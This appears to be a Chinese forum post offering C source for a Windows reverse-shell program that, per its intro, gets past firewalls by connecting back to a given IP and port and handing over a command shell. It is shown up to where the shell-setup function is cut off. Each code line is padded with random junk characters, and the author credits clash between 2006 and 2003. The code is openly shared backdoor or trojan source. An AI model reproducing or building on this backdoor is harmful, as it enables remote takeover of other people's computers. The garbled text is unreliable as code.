这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @0iXqM#jH
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/* ============================== (+;%zh-
Rebound port in Windows NT EP8R[Q0_"
By wind,2006/7 W!
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===============================*/ Fj1'z5$
#include Q6fPqEX=
#include +$B#] ,
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#pragma comment(lib,"wsock32.lib") USbFUHdDc
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void OutputShell(); W+aW2
SOCKET sClient; xWKUti i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w/Wd^+IIn
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void main(int argc,char **argv) p+Icq!aH5
{ iL3k8:x
WSADATA stWsaData; T0K*!j}O
int nRet; p.!p6ve){
SOCKADDR_IN stSaiClient,stSaiServer; \w2X.2b.F
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if(argc != 3) 4m6%HV8{}[
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printf("Useage:\n\rRebound DestIP DestPort\n"); =v~$&@
return; @<44wMp
} WRN}>]NgQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); {D4N=#tl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l# |M.V6G
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stSaiClient.sin_family = AF_INET; S?#'Y*h
stSaiClient.sin_port = htons(0); tMr$N[@r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gBo~NLrf
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N1X;&qZDd
{ z2OXCZ*/
printf("Bind Socket Failed!\n"); >~@ABLp6
return; +<f!#4T
} p *GAs
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stSaiServer.sin_family = AF_INET; ".
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UUxP4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,~7+r#q7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?f=7F
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printf("Connect Error!"); y?8V'.f|
return; Fzn#>`qG
} YtY.,H;
OutputShell(); @D@'S:3
} )Tad]Hd"W
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void OutputShell() Hv|(V3-
{ {fu[&@XV
char szBuff[1024]; ufS0UD8%H
SECURITY_ATTRIBUTES stSecurityAttributes; hPrE
OSVERSIONINFO stOsversionInfo; n16TQe"8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *ZF:LOnU
STARTUPINFO stStartupInfo; s:Z1
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char *szShell; mp17d$R-
PROCESS_INFORMATION stProcessInformation; *AA78G|
unsigned long lBytesRead; fDZnC Fa
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KPI[{T\`ZM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u9%AK g}~
stSecurityAttributes.lpSecurityDescriptor = 0; &